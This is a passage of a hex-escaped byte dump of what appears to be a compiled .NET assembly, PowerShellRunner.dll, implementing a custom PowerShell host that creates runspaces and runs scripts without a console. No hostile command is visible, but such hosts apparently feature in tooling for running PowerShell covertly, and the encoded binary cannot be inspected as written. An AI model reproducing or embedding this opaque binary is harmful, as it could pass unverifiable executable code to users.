\x6e\x73\x2e\x47\x65\x6e\x65\x72\x69\x63\x00\x67\x65\x74\x5f\x49\x6e\x73\x74\x61\x6e\x63\x65\x49\x64\x00\x73\x6f\x75\x72\x63\x65\x49\x64\x00\x5f\x68\x6f\x73\x74\x49\x64\x00\x67\x65\x74\x5f\x43\x75\x72\x72\x65\x6e\x74\x54\x68\x72\x65\x61\x64\x00\x41\x64\x64\x00\x4e\x65\x77\x47\x75\x69\x64\x00\x43\x6f\x6d\x6d\x61\x6e\x64\x00\x63\x6f\x6d\x6d\x61\x6e\x64\x00\x41\x70\x70\x65\x6e\x64\x00\x50\x72\x6f\x67\x72\x65\x73\x73\x52\x65\x63\x6f\x72\x64\x00\x72\x65\x63\x6f\x72\x64\x00\x43\x75\x73\x74\x6f\x6d\x50\x53\x48\x6f\x73\x74\x55\x73\x65\x72\x49\x6e\x74\x65\x72\x66\x61\x63\x65\x00\x43\x75\x73\x74\x6f\x6d\x50\x53\x52\x48\x6f\x73\x74\x52\x61\x77\x55\x73\x65\x72\x49\x6e\x74\x65\x72\x66\x61\x63\x65\x00\x50\x53\x48\x6f\x73\x74\x52\x61\x77\x55\x73\x65\x72\x49\x6e\x74\x65\x72\x66\x61\x63\x65\x00\x43\x72\x65\x61\x74\x65\x52\x75\x6e\x73\x70\x61\x63\x65\x00\x50\x72\x6f\x6d\x70\x74\x46\x6f\x72\x43\x68\x6f\x69\x63\x65\x00\x64\x65\x66\x61\x75\x6c\x74\x43\x68\x6f\x69\x63\x65\x00\x73\x6f\x75\x72\x63\x65\x00\x65\x78\x69\x74\x43\x6f\x64\x65\x00\x6d\x65\x73\x73\x61\x67\x65\x00\x49\x6e\x76\x6f\x6b\x65\x00\x67\x65\x74\x5f\x4b\x65\x79\x41\x76\x61\x69\x6c\x61\x62\x6c\x65\x00\x49\x44\x69\x73\x70\x6f\x73\x61\x62\x6c\x65\x00\x52\x65\x63\x74\x61\x6e\x67\x6c\x65\x00\x72\x65\x63\x74\x61\x6e\x67\x6c\x65\x00\x67\x65\x74\x5f\x57\x69\x6e\x64\x6f\x77\x54\x69\x74\x6c\x65\x00\x73\x65\x74\x5f\x57\x69\x6e\x64\x6f\x77\x54\x69\x74\x6c\x65\x00\x5f\x77\x69\x6e\x64\x6f\x77\x54\x69\x74\x6c\x65\x00\x67\x65\x74\x5f\x4e\x61\x6d\x65\x00\x75\x73\x65\x72\x4e\x61\x6d\x65\x00\x74\x61\x72\x67\x65\x74\x4e\x61\x6d\x65\x00\x52\x65\x61\x64\x4c\x69\x6e\x65\x00\x41\x70\x70\x65\x6e\x64\x4c\x69\x6e\x65\x00\x57\x72\x69\x74\x65\x56\x65\x72\x62\x6f\x73\x65\x4c\x69\x6e\x65\x00\x57\x72\x69\x74\x65\x4c\x69\x6e\x65\x00\x57\x72\x69\x74\x65\x57\x61\x72\x6e\x69\x6e\x67\x4c\x69\x6e\x65\x00\x57\x72\x69\x74\x65\x44\x65\x62\x75\x67\x4c\x69\x6e\x65\x00\x57\x72\x69\x74\x65\x45\x72\x72\x6f\x72\x4c\x69\x6e\x65\x00\x43\x72\x65\x61\x74\x65\x50\x69\x70\x65\x6c\x69\x6e\x65\x00\x67\x65\x74\x5f\x43\x75\x72\x72\x65\x6e\x74\x55\x49\x43\x75\x6c\x74\x75\x72\x65\x00\x67\x65\x74\x5f\x43\x75\x72\x72\x65\x6e\x74\x43\x75\x6c\x74\x75\x72\x65\x00\x44\x69\x73\x70\x6f\x73\x65\x00\x49\x6e\x69\x74\x69\x61\x6c\x53\x65\x73\x73\x69\x6f\x6e\x53\x74\x61\x74\x65\x00\x57\x72\x69\x74\x65\x00\x47\x75\x69\x64\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x44\x65\x62\x75\x67\x67\x61\x62\x6c\x65\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x43\x6f\x6d\x56\x69\x73\x69\x62\x6c\x65\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x41\x73\x73\x65\x6d\x62\x6c\x79\x54\x69\x74\x6c\x65\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x41\x73\x73\x65\x6d\x62\x6c\x79\x54\x72\x61\x64\x65\x6d\x61\x72\x6b\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x54\x61\x72\x67\x65\x74\x46\x72\x61\x6d\x65\x77\x6f\x72\x6b\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x41\x73\x73\x65\x6d\x62\x6c\x79\x46\x69\x6c\x65\x56\x65\x72\x73\x69\x6f\x6e\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x41\x73\x73\x65\x6d\x62\x6c\x79\x43\x6f\x6e\x66\x69\x67\x75\x72\x61\x74\x69\x6f\x6e\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x41\x73\x73\x65\x6d\x62\x6c\x79\x44\x65\x73\x63\x72\x69\x70\x74\x69\x6f\x6e\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x43\x6f\x6d\x70\x69\x6c\x61\x74\x69\x6f\x6e\x52\x65\x6c\x61\x78\x61\x74\x69\x6f\x6e\x73\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x41\x73\x73\x65\x6d\x62\x6c\x79\x50\x72\x6f\x64\x75\x63\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x41\x73\x73\x65\x6d\x62\x6c\x79\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x41\x73\x73\x65\x6d\x62\x6c\x79\x43\x6f\x6d\x70\x61\x6e\x79\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x52\x75\x6e\x74\x69\x6d\x65\x43\x6f\x6d\x70\x61\x74\x69\x62\x69\x6c\x69\x74\x79\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x76\x61\x6c\x75\x65\x00\x67\x65\x74\x5f\x42\x75\x66\x66\x65\x72\x53\x69\x7a\x65\x00\x73\x65\x74\x5f\x42\x75\x66\x66\x65\x72\x53\x69\x7a\x65\x00\x5f\x62\x75\x66\x66\x65\x72\x53\x69\x7a\x65\x00\x67\x65\x74\x5f\x43\x75\x72\x73\x6f\x72\x53\x69\x7a\x65\x00\x73\x65\x74\x5f\x43\x75\x72\x73\x6f\x72\x53\x69\x7a\x65\x00\x5f\x63\x75\x72\x73\x6f\x72\x53\x69\x7a\x65\x00\x67\x65\x74\x5f\x57\x69\x6e\x64\x6f\x77\x53\x69\x7a\x65\x00\x73\x65\x74\x5f\x57\x69\x6e\x64\x6f\x77\x53\x69\x7a\x65\x00\x67\x65\x74\x5f\x4d\x61\x78\x50\x68\x79\x73\x69\x63\x61\x6c\x57\x69\x6e\x64\x6f\x77\x53\x69\x7a\x65\x00\x5f\x6d\x61\x78\x50\x68\x79\x73\x69\x63\x61\x6c\x57\x69\x6e\x64\x6f\x77\x53\x69\x7a\x65\x00\x67\x65\x74\x5f\x4d\x61\x78\x57\x69\x6e\x64\x6f\x77\x53\x69\x7a\x65\x00\x5f\x6d\x61\x78\x57\x69\x6e\x64\x6f\x77\x53\x69\x7a\x65\x00\x5f\x77\x69\x6e\x64\x6f\x77\x53\x69\x7a\x65\x00\x53\x79\x73\x74\x65\x6d\x2e\x54\x68\x72\x65\x61\x64\x69\x6e\x67\x00\x53\x79\x73\x74\x65\x6d\x2e\x52\x75\x6e\x74\x69\x6d\x65\x2e\x56\x65\x72\x73\x69\x6f\x6e\x69\x6e\x67\x00\x52\x65\x61\x64\x4c\x69\x6e\x65\x41\x73\x53\x65\x63\x75\x72\x65\x53\x74\x72\x69\x6e\x67\x00\x54\x6f\x53\x74\x72\x69\x6e\x67\x00\x73\x65\x74\x5f\x57\x69\x64\x74\x68\x00\x5f\x72\x61\x77\x55\x69\x00\x5f\x75\x69\x00\x50\x53\x43\x72\x65\x64\x65\x6e\x74\x69\x61\x6c\x00\x50\x72\x6f\x6d\x70\x74\x46\x6f\x72\x43\x72\x65\x64\x65\x6e\x74\x69\x61\x6c\x00\x53\x79\x73\x74\x65\x6d\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x4f\x62\x6a\x65\x63\x74\x4d\x6f\x64\x65\x6c\x00\x50\x6f\x77\x65\x72\x53\x68\x65\x6c\x6c\x52\x75\x6e\x6e\x65\x72\x2e\x64\x6c\x6c\x00\x42\x75\x66\x66\x65\x72\x43\x65\x6c\x6c\x00\x66\x69\x6c\x6c\x00\x67\x65\x74\x5f\x49\x74\x65\x6d\x00\x53\x79\x73\x74\x65\x6d\x00\x4f\x70\x65\x6e\x00\x6f\x72\x69\x67\x69\x6e\x00\x67\x65\x74\x5f\x56\x65\x72\x73\x69\x6f\x6e\x00\x4e\x6f\x74\x69\x66\x79\x45\x6e\x64\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x00\x4e\x6f\x74\x69\x66\x79\x42\x65\x67\x69\x6e\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x00\x53\x79\x73\x74\x65\x6d\x2e\x4d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x41\x75\x74\x6f\x6d\x61\x74\x69\x6f\x6e\x00\x64\x65\x73\x74\x69\x6e\x61\x74\x69\x6f\x6e\x00\x53\x79\x73\x74\x65\x6d\x2e\x47\x6c\x6f\x62\x61\x6c\x69\x7a\x61\x74\x69\x6f\x6e\x00\x53\x79\x73\x74\x65\x6d\x2e\x52\x65\x66\x6c\x65\x63\x74\x69\x6f\x6e\x00\x43\x6f\x6d\x6d\x61\x6e\x64\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x00\x67\x65\x74\x5f\x43\x75\x72\x73\x6f\x72\x50\x6f\x73\x69\x74\x69\x6f\x6e\x00\x73\x65\x74\x5f\x43\x75\x72\x73\x6f\x72\x50\x6f\x73\x69\x74\x69\x6f\x6e\x00\x5f\x63\x75\x72\x73\x6f\x72\x50\x6f\x73\x69\x74\x69\x6f\x6e\x00\x67\x65\x74\x5f\x57\x69\x6e\x64\x6f\x77\x50\x6f\x73\x69\x74\x69\x6f\x6e\x00\x73\x65\x74\x5f\x57\x69\x6e\x64\x6f\x77\x50\x6f\x73\x69\x74\x69\x6f\x6e\x00\x5f\x77\x69\x6e\x64\x6f\x77\x50\x6f\x73\x69\x74\x69\x6f\x6e\x00\x63\x61\x70\x74\x69\x6f\x6e\x00\x4e\x6f\x74\x49\x6d\x70\x6c\x65\x6d\x65\x6e\x74\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x00\x46\x69\x65\x6c\x64\x44\x65\x73\x63\x72\x69\x70\x74\x69\x6f\x6e\x00\x43\x68\x6f\x69\x63\x65\x44\x65\x73\x63\x72\x69\x70\x74\x69\x6f\x6e\x00\x43\x75\x6c\x74\x75\x72\x65\x49\x6e\x66\x6f\x00\x4b\x65\x79\x49\x6e\x66\x6f\x00\x63\x6c\x69\x70\x00\x53\x74\x72\x69\x6e\x67\x42\x75\x69\x6c\x64\x65\x72\x00\x46\x6c\x75\x73\x68\x49\x6e\x70\x75\x74\x42\x75\x66\x66\x65\x72\x00\x73\x65\x74\x5f\x41\x75\x74\x68\x6f\x72\x69\x7a\x61\x74\x69\x6f\x6e\x4d\x61\x6e\x61\x67\x65\x72\x00\x50\x6f\x77\x65\x72\x53\x68\x65\x6c\x6c\x52\x75\x6e\x6e\x65\x72\x00\x67\x65\x74\x5f\x46\x6f\x72\x65\x67\x72\x6f\x75\x6e\x64\x43\x6f\x6c\x6f\x72\x00\x73\x65\x74\x5f\x46\x6f\x72\x65\x67\x72\x6f\x75\x6e\x64\x43\x6f\x6c\x6f\x72\x00\x5f\x66\x6f\x72\x65\x67\x72\x6f\x75\x6e\x64\x43\x6f\x6c\x6f\x72\x00\x67\x65\x74\x5f\x42\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x43\x6f\x6c\x6f\x72\x00\x73\x65\x74\x5f\x42\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x43\x6f\x6c\x6f\x72\x00\x5f\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x43\x6f\x6c\x6f\x72\x00\x43\x6f\x6e\x73\x6f\x6c\x65\x43\x6f\x6c\x6f\x72\x00\x2e\x63\x74\x6f\x72\x00\x53\x79\x73\x74\x65\x6d\x2e\x44\x69\x61\x67\x6e\x6f\x73\x74\x69\x63\x73\x00\x67\x65\x74\x5f\x43\x6f\x6d\x6d\x61\x6e\x64\x73\x00\x53\x79\x73\x74\x65\x6d\x2e\x4d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x41\x75\x74\x6f\x6d\x61\x74\x69\x6f\x6e\x2e\x52\x75\x6e\x73\x70\x61\x63\x65\x73\x00\x63\x68\x6f\x69\x63\x65\x73\x00\x53\x79\x73\x74\x65\x6d\x2e\x52\x75\x6e\x74\x69\x6d\x65\x2e\x49\x6e\x74\x65\x72\x6f\x70\x53\x65\x72\x76\x69\x63\x65\x73\x00\x53\x79\x73\x74\x65\x6d\x2e\x52\x75\x6e\x74\x69\x6d\x65\x2e\x43\x6f\x6d\x70\x69\x6c\x65\x72\x53\x65\x72\x76\x69\x63\x65\x73\x00\x44\x65\x62\x75\x67\x67\x69\x6e\x67\x4d\x6f\x64\x65\x73\x00\x50\x53\x43\x72\x65\x64\x65\x6e\x74\x69\x61\x6c\x54\x79\x70\x65\x73\x00\x61\x6c\x6c\x6f\x77\x65\x64\x43\x72\x65\x64\x65\x6e\x74\x69\x61\x6c\x54\x79\x70\x65\x73\x00\x50\x69\x70\x65\x6c\x69\x6e\x65\x52\x65\x73\x75\x6c\x74\x54\x79\x70\x65\x73\x00\x43\x6f\x6f\x72\x64\x69\x6e\x61\x74\x65\x73\x00\x50\x53\x43\x72\x65\x64\x65\x6e\x74\x69\x61\x6c\x55\x49\x4f\x70\x74\x69\x6f\x6e\x73\x00\x52\x65\x61\x64\x4b\x65\x79\x4f\x70\x74\x69\x6f\x6e\x73\x00\x64\x65\x73\x63\x72\x69\x70\x74\x69\x6f\x6e\x73\x00\x6f\x70\x74\x69\x6f\x6e\x73\x00\x57\x72\x69\x74\x65\x50\x72\x6f\x67\x72\x65\x73\x73\x00\x4d\x65\x72\x67\x65\x4d\x79\x52\x65\x73\x75\x6c\x74\x73\x00\x53\x63\x72\x6f\x6c\x6c\x42\x75\x66\x66\x65\x72\x43\x6f\x6e\x74\x65\x6e\x74\x73\x00\x47\x65\x74\x42\x75\x66\x66\x65\x72\x43\x6f\x6e\x74\x65\x6e\x74\x73\x00\x53\x65\x74\x42\x75\x66\x66\x65\x72\x43\x6f\x6e\x74\x65\x6e\x74\x73\x00\x63\x6f\x6e\x74\x65\x6e\x74\x73\x00\x43\x6f\x6e\x63\x61\x74\x00\x50\x53\x4f\x62\x6a\x65\x63\x74\x00\x73\x65\x74\x5f\x48\x65\x69\x67\x68\x74\x00\x53\x65\x74\x53\x68\x6f\x75\x6c\x64\x45\x78\x69\x74\x00\x43\x72\x65\x61\x74\x65\x44\x65\x66\x61\x75\x6c\x74\x00\x41\x64\x64\x53\x63\x72\x69\x70\x74\x00\x45\x6e\x74\x65\x72\x4e\x65\x73\x74\x65\x64\x50\x72\x6f\x6d\x70\x74\x00\x45\x78\x69\x74\x4e\x65\x73\x74\x65\x64\x50\x72\x6f\x6d\x70\x74\x00\x53\x79\x73\x74\x65\x6d\x2e\x4d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x41\x75\x74\x6f\x6d\x61\x74\x69\x6f\x6e\x2e\x48\x6f\x73\x74\x00\x43\x75\x73\x74\x6f\x6d\x50\x53\x48\x6f\x73\x74\x00\x67\x65\x74\x5f\x4f\x75\x74\x70\x75\x74\x00\x53\x79\x73\x74\x65\x6d\x2e\x54\x65\x78\x74\x00\x52\x65\x61\x64\x4b\x65\x79\x00\x52\x75\x6e\x73\x70\x61\x63\x65\x46\x61\x63\x74\x6f\x72\x79\x00\x53\x79\x73\x74\x65\x6d\x2e\x53\x65\x63\x75\x72\x69\x74\x79\x00\x00\x00\x17\x6f\x00\x75\x00\x74\x00\x2d\x00\x64\x00\x65\x00\x66\x00\x61\x00\x75\x00\x6c\x00\x74\x00\x01\x17\x43\x00\x6f\x00\x6e\x00\x73\x00\x6f\x00\x6c\x00\x65\x00\x48\x00\x6f\x00\x73\x00\x74\x00\x00\x81\x77\x45\x00\x6e\x00\x74\x00\x65\x00\x72\x00\x4e\x00\x65\x00\x73\x00\x74\x00\x65\x00\x64\x00\x50\x00\x72\x00\x6f\x00\x6d\x00\x70\x00\x74\x00\x20\x00\x69\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x65\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x65\x00\x64\x00\x2e\x00\x20\x00\x20\x00\x54\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x73\x00\x6b\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2c\x00\x20\x00\x77\x00\x68\x00\x69\x00\x63\x00\x68\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x62\x00\x6c\x00\x65\x00\x6d\x00\x20\x00\x73\x00\x69\x00\x6e\x00\x63\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x72\x00\x65\x00\x27\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x20\x00\x63\x00\x6f\x00\x6e\x00\x73\x00\x6f\x00\x6c\x00\x65\x00\x2e\x00\x20\x00\x20\x00\x4d\x00\x61\x00\x6b\x00\x65\x00\x20\x00\x73\x00\x75\x00\x72\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x63\x00\x61\x00\x6e\x00\x20\x00\x65\x00\x78\x00\x65\x00\x63\x00\x75\x00\x74\x00\x65\x00\x20\x00\x77\x00\x69\x00\x74\x00\x68\x00\x6f\x00\x75\x00\x74\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x6d\x00\x70\x00\x74\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x75\x00\x73\x00\x65\x00\x72\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2e\x00\x01\x81\x75\x45\x00\x78\x00\x69\x00\x74\x00\x4e\x00\x65\x00\x73\x00\x74\x00\x65\x00\x64\x00\x50\x00\x72\x00\x6f\x00\x6d\x00\x70\x00\x74\x00\x20\x00\x69\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x65\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x65\x00\x64\x00\x2e\x00\x20\x00\x20\x00\x54\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x73\x00\x6b\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2c\x00\x20\x00\x77\x00\x68\x00\x69\x00\x63\x00\x68\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x62\x00\x6c\x00\x65\x00\x6d\x00\x20\x00\x73\x00\x69\x00\x6e\x00\x63\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x72\x00\x65\x00\x27\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x20\x00\x63\x00\x6f\x00\x6e\x00\x73\x00\x6f\x00\x6c\x00\x65\x00\x2e\x00\x20\x00\x20\x00\x4d\x00\x61\x00\x6b\x00\x65\x00\x20\x00\x73\x00\x75\x00\x72\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x63\x00\x61\x00\x6e\x00\x20\x00\x65\x00\x78\x00\x65\x00\x63\x00\x75\x00\x74\x00\x65\x00\x20\x00\x77\x00\x69\x00\x74\x00\x68\x00\x6f\x00\x75\x00\x74\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x6d\x00\x70\x00\x74\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x75\x00\x73\x00\x65\x00\x72\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2e\x00\x01\x03\x0a\x00\x00\x0f\x44\x00\x45\x00\x42\x00\x55\x00\x47\x00\x3a\x00\x20\x00\x00\x0f\x45\x00\x52\x00\x52\x00\x4f\x00\x52\x00\x3a\x00\x20\x00\x00\x13\x56\x00\x45\x00\x52\x00\x42\x00\x4f\x00\x53\x00\x45\x00\x3a\x00\x20\x00\x00\x13\x57\x00\x41\x00\x52\x00\x4e\x00\x49\x00\x4e\x00\x47\x00\x3a\x00\x20\x00\x00\x81\x61\x50\x00\x72\x00\x6f\x00\x6d\x00\x70\x00\x74\x00\x20\x00\x69\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x65\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x65\x00\x64\x00\x2e\x00\x20\x00\x20\x00\x54\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x73\x00\x6b\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2c\x00\x20\x00\x77\x00\x68\x00\x69\x00\x63\x00\x68\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x62\x00\x6c\x00\x65\x00\x6d\x00\x20\x00\x73\x00\x69\x00\x6e\x00\x63\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x72\x00\x65\x00\x27\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x20\x00\x63\x00\x6f\x00\x6e\x00\x73\x00\x6f\x00\x6c\x00\x65\x00\x2e\x00\x20\x00\x20\x00\x4d\x00\x61\x00\x6b\x00\x65\x00\x20\x00\x73\x00\x75\x00\x72\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x63\x00\x61\x00\x6e\x00\x20\x00\x65\x00\x78\x00\x65\x00\x63\x00\x75\x00\x74\x00\x65\x00\x20\x00\x77\x00\x69\x00\x74\x00\x68\x00\x6f\x00\x75\x00\x74\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x6d\x00\x70\x00\x74\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x75\x00\x73\x00\x65\x00\x72\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2e\x00\x01\x81\x73\x50\x00\x72\x00\x6f\x00\x6d\x00\x70\x00\x74\x00\x46\x00\x6f\x00\x72\x00\x43\x00\x68\x00\x6f\x00\x69\x00\x63\x00\x65\x00\x20\x00\x69\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x65\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x65\x00\x64\x00\x2e\x00\x20\x00\x20\x00\x54\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x73\x00\x6b\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2c\x00\x20\x00\x77\x00\x68\x00\x69\x00\x63\x00\x68\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x62\x00\x6c\x00\x65\x00\x6d\x00\x20\x00\x73\x00\x69\x00\x6e\x00\x63\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x72\x00\x65\x00\x27\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x20\x00\x63\x00\x6f\x00\x6e\x00\x73\x00\x6f\x00\x6c\x00\x65\x00\x2e\x00\x20\x00\x20\x00\x4d\x00\x61\x00\x6b\x00\x65\x00\x20\x00\x73\x00\x75\x00\x72\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x63\x00\x61\x00\x6e\x00\x20\x00\x65\x00\x78\x00\x65\x00\x63\x00\x75\x00\x74\x00\x65\x00\x20\x00\x77\x00\x69\x00\x74\x00\x68\x00\x6f\x00\x75\x00\x74\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x6d\x00\x70\x00\x74\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x75\x00\x73\x00\x65\x00\x72\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2e\x00\x01\x81\x7d\x50\x00\x72\x00\x6f\x00\x6d\x00\x70\x00\x74\x00\x46\x00\x6f\x00\x72\x00\x43\x00\x72\x00\x65\x00\x64\x00\x65\x00\x6e\x00\x74\x00\x69\x00\x61\x00\x6c\x00\x31\x00\x20\x00\x69\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x65\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x65\x00\x64\x00\x2e\x00\x20\x00\x20\x00\x54\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x73\x00\x6b\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2c\x00\x20\x00\x77\x00\x68\x00\x69\x00\x63\x00\x68\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x62\x00\x6c\x00\x65\x00\x6d\x00\x20\x00\x73\x00\x69\x00\x6e\x00\x63\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x72\x00\x65\x00\x27\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x20\x00\x63\x00\x6f\x00\x6e\x00\x73\x00\x6f\x00\x6c\x00\x65\x00\x2e\x00\x20\x00\x20\x00\x4d\x00\x61\x00\x6b\x00\x65\x00\x20\x00\x73\x00\x75\x00\x72\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x63\x00\x61\x00\x6e\x00\x20\x00\x65\x00\x78\x00\x65\x00\x63\x00\x75\x00\x74\x00\x65\x00\x20\x00\x77\x00\x69\x00\x74\x00\x68\x00\x6f\x00\x75\x00\x74\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x6d\x00\x70\x00\x74\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x74\x00\x68\x00\x65\x00\x20\x00\x75\x00\x73\x00\x65\x00\x72\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2e\x00\x01\x81\x7d\x50\x00\x72\x00\x6f\x00\x6d\x00\x70\x00\x74\x00\x46\x00\x6f\x00\x72\x00\x43\x00\x72\x00\x65\x00\x64\x00\x65\x00\x6e\x00\x74\x00\x69\x00\x61\x00\x6c\x00\x32\x00\x20\x00\x69\x00\x73\x00\x20\x00\x6e\x00\x6f\x00\x74\x00\x20\x00\x69\x00\x6d\x00\x70\x00\x6c\x00\x65\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x65\x00\x64\x00\x2e\x00\x20\x00\x20\x00\x54\x00\x68\x00\x65\x00\x20\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x73\x00\x6b\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x66\x00\x6f\x00\x72\x00\x20\x00\x69\x00\x6e\x00\x70\x00\x75\x00\x74\x00\x2c\x00\x20\x00\x77\x00\x68\x00\x69\x00\x63\x00\x68\x00\x20\x00\x69\x00\x73\x00\x20\x00\x61\x00\x20\x00\x70\x00\x72\x00\x6f\x00\x62\x00\x6c\x00\x65\x00\x6d\x00\x20\x00\x73\x00\x69\x00\x6e\x00\x63\x00\x65\x00\x20\x00\x74\x00\x68\x00\x65\x00\x72\x00\x65\x00\x27\x00\x73\x00\x20\x00\x6e\x